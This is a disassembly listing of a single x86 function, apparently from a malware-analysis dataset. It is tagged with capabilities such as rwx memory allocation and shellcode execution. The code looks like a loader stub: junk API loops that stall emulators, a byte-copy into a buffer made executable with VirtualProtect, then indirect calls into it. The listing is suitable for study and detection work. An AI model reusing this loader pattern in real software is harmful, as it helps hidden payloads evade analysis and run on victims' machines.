Function at 0x405530
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x80d004]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
mov edi, edi
cmp dword [0x85514c], 0xc31
jne 0x405585
xor eax, eax
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x20], eax
call ebx
call esi
dec edi
jne 0x405560
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4055a6
mov eax, dword [0x80e924]
mov dword [0x8554d4], eax
cmp dword [0x85514c], 0x3c
jne 0x4055b2
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405594
cmp dword [0x85514c], 0x7c
jne 0x40561d
push ebx
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp dword [0x85514c], 0x2d
jne 0x40561d
push ebx
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
cmp dword [0x85514c], 0x110a
jne 0x40568f
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x54]
push edx
push ebx
mov dword [0x855140], ebx
mov dword [0x855144], ebx
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.Fevehefucah
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.00401189
push ebx
call fcn.00401172
add esp, 0x1c
call fcn.004052d0
xor esi, esi
cmp dword [0x85514c], ebx
jbe 0x4056eb
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x4056b0
mov eax, dword [0x8554d4]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
cmp dword [0x85514c], 0x5ab
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x854e70]
mov byte [eax + esi], dl
jne 0x4056e2
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x85514c]
jb 0x4056b0
call fcn.00405300
mov edx, dword [0x85514c]
mov eax, dword [0x854e70]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004054a0
call fcn.004052f0
mov ebx, dword [esp + 0x30]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x405738
cmp ebx, 0xf5bed7
jne 0x405741
inc esi
cmp esi, 0x1ece7a52
jl 0x405720
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40575d
call fcn.004052c0
cmp dword [0x85514c], 0x3dc
mov dword [0x854e74], 0x8e46a6f0
jne 0x40578f
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push str.Cekanexiy_nobisabona_yiv
push ecx
mov dword [esp + 0x20], ecx
call edi
lea edx, [esp + 0x10]
push edx
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405750
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret